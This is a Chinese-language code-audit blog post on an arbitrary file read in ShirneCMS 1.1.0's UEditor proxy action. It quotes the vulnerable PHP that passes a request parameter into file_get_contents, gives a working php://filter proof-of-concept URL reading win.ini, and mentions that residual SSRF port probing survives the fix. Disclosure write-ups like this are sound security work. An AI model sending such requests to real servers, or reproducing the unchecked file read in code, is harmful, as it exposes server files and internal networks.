前言
在推特看了 @pikpikcu 师傅发了一个 poc ,php 的 ueditor 怎么有个 proxy 功能,原来是 Shirne CMS 添加的,居然可以任意文件读取。这也是一篇靠猜的代码审计,如有错误请指出问题。
Shirne CMS
https://github.com/shirne/ShirneCMS/releases
审一下?
这里下载的是 ShirneCMS-1.1.0 ,未修复前的版本。
打开 ShirneCMS-1.1.0\src\public\static\ueditor\php\controller.php 42行,proxy 功能包含的文件:action_proxy.php
查看 action_proxy.php 文件:$fieldName 是从 config.json 的 proxyFieldName 参数,可以 get 或 post 请求然后赋值给 $source
$fieldName = $CONFIG['proxyFieldName']?:'remote';
/* 抓取远程图片 */
if (isset($_POST[$fieldName])) {
$source = $_POST[$fieldName];
} else {
$source = $_GET[$fieldName];
}
$maxwidth 默认等于 0 可以不用给它赋值,$scheme 获取请求的协议
action_proxy.php 文件 61 行:把 $source 传给 file_get_contents 然后赋值给 $data
判断 $data 的长度要大于 100 ,然后 $maxwidth 只要不是大于 0 就会输出 $data 。
$maxwidth 默认值就是 0 ,所以只要读取的文件长度大于 100 就会输出。
POC
http://192.168.111.3:81/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=c:\\windows\\win.ini
官方修复
判断 $scheme 是否存在 列表中,但是可以利用 ssrf 来探测端口。